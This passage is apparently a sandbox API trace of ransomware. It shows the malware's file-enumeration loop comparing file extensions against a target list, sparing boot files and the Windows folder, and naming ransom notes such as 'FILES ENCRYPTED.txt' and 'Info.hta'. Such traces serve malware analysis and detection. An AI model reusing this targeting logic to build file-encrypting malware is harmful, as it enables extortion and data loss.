lstrlenW (lpString=".dotx") returned 5 [0271.048] lstrcmpiW (lpString1=".dotx", lpString2="a.png") returned -1 [0271.048] lstrlenW (lpString=".dpx") returned 4 [0271.048] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0271.048] lstrlenW (lpString=".dqy") returned 4 [0271.048] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0271.048] lstrlenW (lpString=".dsn") returned 4 [0271.049] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0271.049] lstrlenW (lpString=".dt") returned 3 [0271.049] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0271.049] lstrlenW (lpString=".dtd") returned 4 [0271.049] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0271.049] lstrlenW (lpString=".dwg") returned 4 [0271.049] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0271.049] lstrlenW (lpString=".dwt") returned 4 [0271.049] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0271.049] lstrlenW (lpString=".dx") returned 3 [0271.049] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0271.049] lstrlenW (lpString=".dxf") returned 4 [0271.049] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0271.049] lstrlenW (lpString=".edml") returned 5 [0271.049] lstrcmpiW (lpString1=".edml", lpString2="a.png") returned -1 [0271.050] lstrlenW (lpString=".efd") returned 4 [0271.050] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0271.050] lstrlenW (lpString=".elf") returned 4 [0271.050] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0271.050] lstrlenW (lpString=".emf") returned 4 [0271.050] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0271.050] lstrlenW (lpString=".emz") returned 4 [0271.050] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0271.050] lstrlenW (lpString=".epf") returned 4 [0271.050] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0271.050] lstrlenW (lpString=".eps") returned 4 [0271.050] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0271.050] lstrlenW (lpString=".epsf") returned 5 [0271.050] lstrcmpiW (lpString1=".epsf", lpString2="a.png") returned -1 [0271.050] lstrlenW (lpString=".epsp") returned 5 [0271.050] lstrcmpiW (lpString1=".epsp", lpString2="a.png") returned -1 [0271.051] lstrlenW (lpString=".erf") returned 4 [0271.051] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0271.051] lstrlenW (lpString=".exr") returned 4 [0271.051] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0271.051] lstrlenW (lpString=".f4v") returned 4 [0271.051] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0271.051] lstrlenW (lpString=".fido") returned 5 [0271.051] lstrcmpiW (lpString1=".fido", lpString2="a.png") returned -1 [0271.051] lstrlenW (lpString=".flm") returned 4 [0271.051] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0271.051] lstrlenW (lpString=".flv") returned 4 [0271.051] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0271.051] lstrlenW (lpString=".frm") returned 4 [0271.051] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0271.051] lstrlenW (lpString=".fxg") returned 4 [0271.051] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0271.051] lstrlenW (lpString=".geo") returned 4 [0271.051] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0271.052] lstrlenW (lpString=".gif") returned 4 [0271.052] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0271.052] lstrlenW (lpString=".grs") returned 4 [0271.052] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0271.052] lstrlenW (lpString=".gz") returned 3 [0271.052] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0271.052] lstrlenW (lpString=".h") returned 2 [0271.052] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0271.052] lstrlenW (lpString=".hdr") returned 4 [0271.052] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0271.052] lstrlenW (lpString=".hpp") returned 4 [0271.052] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0271.052] lstrlenW (lpString=".hta") returned 4 [0271.052] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0271.052] lstrlenW (lpString=".htc") returned 4 [0271.052] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0271.052] lstrlenW (lpString=".htm") returned 4 [0271.052] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0271.052] lstrlenW (lpString=".html") returned 5 [0271.053] lstrcmpiW (lpString1=".html", lpString2="a.png") returned -1 [0271.053] lstrlenW (lpString=".icb") returned 4 [0271.053] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0271.053] lstrlenW (lpString=".ics") returned 4 [0271.053] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0271.053] lstrlenW (lpString=".iff") returned 4 [0271.053] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0271.053] lstrlenW (lpString=".inc") returned 4 [0271.053] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0271.053] lstrlenW (lpString=".indd") returned 5 [0271.053] lstrcmpiW (lpString1=".indd", lpString2="a.png") returned -1 [0271.053] lstrlenW (lpString=".ini") returned 4 [0271.053] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0271.053] lstrlenW (lpString=".iqy") returned 4 [0271.053] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0271.053] lstrlenW (lpString=".j2c") returned 4 [0271.053] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0271.053] lstrlenW (lpString=".j2k") returned 4 [0271.053] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0271.053] lstrlenW (lpString=".java") returned 5 [0271.053] lstrcmpiW (lpString1=".java", lpString2="a.png") returned -1 [0271.053] lstrlenW (lpString=".jp2") returned 4 [0271.053] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0271.053] lstrlenW (lpString=".jpc") returned 4 [0271.053] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0271.053] lstrlenW (lpString=".jpe") returned 4 [0271.053] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0271.053] lstrlenW (lpString=".jpeg") returned 5 [0271.053] lstrcmpiW (lpString1=".jpeg", lpString2="a.png") returned -1 [0271.053] lstrlenW (lpString=".jpf") returned 4 [0271.054] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0271.054] lstrlenW (lpString=".jpg") returned 4 [0271.054] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0271.054] lstrlenW (lpString=".jpx") returned 4 [0271.054] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0271.054] lstrlenW (lpString=".js") returned 3 [0271.054] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0271.054] lstrlenW (lpString=".jsf") returned 4 [0271.054] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0271.054] lstrlenW (lpString=".json") returned 5 [0271.054] lstrcmpiW (lpString1=".json", lpString2="a.png") returned -1 [0271.054] lstrlenW (lpString=".jsp") returned 4 [0271.054] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0271.054] lstrlenW (lpString=".kdc") returned 4 [0271.054] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0271.054] lstrlenW (lpString=".kmz") returned 4 [0271.054] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0271.054] lstrlenW (lpString=".kwm") returned 4 [0271.054] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0271.054] lstrlenW (lpString=".lasso") returned 6 [0271.054] lstrcmpiW (lpString1=".lasso", lpString2="na.png") returned -1 [0271.054] lstrlenW (lpString=".lbi") returned 4 [0271.054] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0271.054] lstrlenW (lpString=".lgf") returned 4 [0271.055] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0271.055] lstrlenW (lpString=".lgp") returned 4 [0271.055] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0271.055] lstrlenW (lpString=".log") returned 4 [0271.055] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0271.055] lstrlenW (lpString=".m1v") returned 4 [0271.055] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0271.055] lstrlenW (lpString=".m4a") returned 4 [0271.055] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0271.055] lstrlenW (lpString=".m4v") returned 4 [0271.055] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0271.055] lstrlenW (lpString=".max") returned 4 [0271.055] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0271.055] lstrlenW (lpString=".md") returned 3 [0271.055] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0271.055] lstrlenW (lpString=".mda") returned 4 [0271.055] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0271.055] lstrlenW (lpString=".mdb") returned 4 [0271.055] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0271.055] lstrlenW (lpString=".mde") returned 4 [0271.055] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0271.055] lstrlenW (lpString=".mdf") returned 4 [0271.055] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0271.055] lstrlenW (lpString=".mdw") returned 4 [0271.056] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0271.056] lstrlenW (lpString=".mef") returned 4 [0271.056] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0271.056] lstrlenW (lpString=".mft") returned 4 [0271.056] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0271.056] lstrlenW (lpString=".mfw") returned 4 [0271.056] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0271.056] lstrlenW (lpString=".mht") returned 4 [0271.056] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0271.056] lstrlenW (lpString=".mhtml") returned 6 [0271.056] lstrcmpiW (lpString1=".mhtml", lpString2="na.png") returned -1 [0271.056] lstrlenW (lpString=".mka") returned 4 [0271.056] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0271.056] lstrlenW (lpString=".mkidx") returned 6 [0271.056] lstrcmpiW (lpString1=".mkidx", lpString2="na.png") returned -1 [0271.056] lstrlenW (lpString=".mkv") returned 4 [0271.056] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0271.057] lstrlenW (lpString=".mos") returned 4 [0271.057] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0271.057] lstrlenW (lpString=".mov") returned 4 [0271.057] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0271.057] lstrlenW (lpString=".mp3") returned 4 [0271.057] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0271.057] lstrlenW (lpString=".mp4") returned 4 [0271.057] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0271.057] lstrlenW (lpString=".mpeg") returned 5 [0271.057] lstrcmpiW (lpString1=".mpeg", lpString2="a.png") returned -1 [0271.057] lstrlenW (lpString=".mpg") returned 4 [0271.058] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0271.058] lstrlenW (lpString=".mpv") returned 4 [0271.058] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0271.058] lstrlenW (lpString=".mrw") returned 4 [0271.058] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0271.058] lstrlenW (lpString=".msg") returned 4 [0271.058] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0271.058] lstrlenW (lpString=".mxl") returned 4 [0271.058] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0271.058] lstrlenW (lpString=".myd") returned 4 [0271.058] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0271.058] lstrlenW (lpString=".myi") returned 4 [0271.058] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0271.058] lstrlenW (lpString=".nef") returned 4 [0271.058] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0271.058] lstrlenW (lpString=".nrw") returned 4 [0271.058] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0271.058] lstrlenW (lpString=".obj") returned 4 [0271.058] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0271.058] lstrlenW (lpString=".odb") returned 4 [0271.058] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0271.058] lstrlenW (lpString=".odc") returned 4 [0271.059] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0271.059] lstrlenW (lpString=".odm") returned 4 [0271.059] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0271.059] lstrlenW (lpString=".odp") returned 4 [0271.059] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0271.059] lstrlenW (lpString=".ods") returned 4 [0271.059] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0271.059] lstrlenW (lpString=".oft") returned 4 [0271.059] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0271.059] lstrlenW (lpString=".one") returned 4 [0271.059] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0271.059] lstrlenW (lpString=".onepkg") returned 7 [0271.059] lstrcmpiW (lpString1=".onepkg", lpString2="ina.png") returned -1 [0271.059] lstrlenW (lpString=".onetoc2") returned 8 [0271.059] lstrcmpiW (lpString1=".onetoc2", lpString2="tina.png") returned -1 [0271.059] lstrlenW (lpString=".opt") returned 4 [0271.059] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0271.059] lstrlenW (lpString=".oqy") returned 4 [0271.059] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0271.059] lstrlenW (lpString=".orf") returned 4 [0271.059] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0271.059] lstrlenW (lpString=".p12") returned 4 [0271.059] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".p7b") returned 4 [0271.060] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".p7c") returned 4 [0271.060] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".pam") returned 4 [0271.060] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".pbm") returned 4 [0271.060] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".pct") returned 4 [0271.060] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".pcx") returned 4 [0271.060] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".pdd") returned 4 [0271.060] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".pdf") returned 4 [0271.060] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".pdp") returned 4 [0271.060] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".pef") returned 4 [0271.060] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".pem") returned 4 [0271.060] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".pff") returned 4 [0271.060] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".pfm") returned 4 [0271.060] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0271.060] lstrlenW (lpString=".pfx") returned 4 [0271.061] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0271.061] lstrlenW (lpString=".pgm") returned 4 [0271.061] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0271.061] lstrlenW (lpString=".php") returned 4 [0271.061] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0271.061] lstrlenW (lpString=".php3") returned 5 [0271.061] lstrcmpiW (lpString1=".php3", lpString2="a.png") returned -1 [0271.061] lstrlenW (lpString=".php4") returned 5 [0271.061] lstrcmpiW (lpString1=".php4", lpString2="a.png") returned -1 [0271.061] lstrlenW (lpString=".php5") returned 5 [0271.061] lstrcmpiW (lpString1=".php5", lpString2="a.png") returned -1 [0271.061] lstrlenW (lpString=".phtml") returned 6 [0271.061] lstrcmpiW (lpString1=".phtml", lpString2="na.png") returned -1 [0271.061] lstrlenW (lpString=".pict") returned 5 [0271.061] lstrcmpiW (lpString1=".pict", lpString2="a.png") returned -1 [0271.061] lstrlenW (lpString=".pl") returned 3 [0271.061] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0271.061] lstrlenW (lpString=".pls") returned 4 [0271.061] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0271.061] lstrlenW (lpString=".pm") returned 3 [0271.061] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0271.061] lstrlenW (lpString=".png") returned 4 [0271.061] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0271.061] lstrlenW (lpString="new_icons_retina.png") returned 20 [0271.061] lstrlenW (lpString=".love$") returned 6 [0271.061] lstrcmpiW (lpString1=".love$", lpString2="na.png") returned -1 [0271.061] lstrlenW (lpString="new_icons_retina.png") returned 20 [0271.061] lstrcmpiW (lpString1="boot.ini", lpString2="new_icons_retina.png") returned -1 [0271.061] lstrcmpiW (lpString1="bootfont.bin", lpString2="new_icons_retina.png") returned -1 [0271.062] lstrcmpiW (lpString1="ntldr", lpString2="new_icons_retina.png") returned 1 [0271.062] lstrcmpiW (lpString1="ntdetect.com", lpString2="new_icons_retina.png") returned 1 [0271.062] lstrcmpiW (lpString1="io.sys", lpString2="new_icons_retina.png") returned -1 [0271.062] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="new_icons_retina.png") returned -1 [0271.062] lstrcmpiW (lpString1="Info.hta", lpString2="new_icons_retina.png") returned -1 [0271.062] lstrcmpiW (lpString1="finbbp.exe", lpString2="new_icons_retina.png") returned -1 [0271.062] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png") returned 134 [0271.062] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0271.062] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes") returned 120 [0271.062] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes") returned 1 [0271.062] lstrlenW (lpString="themes") returned 6 [0271.062] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="themes") returned -1 [0271.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0271.062] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes") returned 120 [0271.062] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0271.502] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.502] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0271.502] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark") returned 125 [0271.502] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark") returned 1 [0271.502] lstrlenW (lpString="dark") returned 4 [0271.502] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dark") returned -1 [0271.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5060050 [0271.523] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark") returned 125 [0271.523] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0271.524] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.524] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0271.525] lstrlenW (lpString="bg_patterns_header.png") returned 22 [0271.525] lstrlenW (lpString=".1cd") returned 4 [0271.525] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0271.525] lstrlenW (lpString=".3ds") returned 4 [0271.525] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0271.525] lstrlenW (lpString=".3fr") returned 4 [0271.525] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0271.525] lstrlenW (lpString=".3g2") returned 4 [0271.525] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0271.525] lstrlenW (lpString=".3gp") returned 4 [0271.525] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0271.525] lstrlenW (lpString=".7z") returned 3 [0271.525] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0271.525] lstrlenW (lpString=".accda") returned 6 [0271.525] lstrcmpiW (lpString1=".accda", lpString2="er.png") returned -1 [0271.525] lstrlenW (lpString=".accdb") returned 6 [0271.525] lstrcmpiW (lpString1=".accdb", lpString2="er.png") returned -1 [0271.525] lstrlenW (lpString=".accdc") returned 6 [0271.525] lstrcmpiW (lpString1=".accdc", lpString2="er.png") returned -1 [0271.525] lstrlenW (lpString=".accde") returned 6 [0271.525] lstrcmpiW (lpString1=".accde", lpString2="er.png") returned -1 [0271.525] lstrlenW (lpString=".accdt") returned 6 [0271.525] lstrcmpiW (lpString1=".accdt", lpString2="er.png") returned -1 [0271.525] lstrlenW (lpString=".accdw") returned 6 [0271.525] lstrcmpiW (lpString1=".accdw", lpString2="er.png") returned -1 [0271.526] lstrlenW (lpString=".adb") returned 4 [0271.526] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0271.539] lstrlenW (lpString=".adp") returned 4 [0271.539] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0271.539] lstrlenW (lpString=".ai") returned 3 [0271.539] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0271.539] lstrlenW (lpString=".ai3") returned 4 [0271.539] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0271.539] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icons.png", cAlternateFileName="")) returned 1 [0271.540] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0271.540] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icons_retina.png", 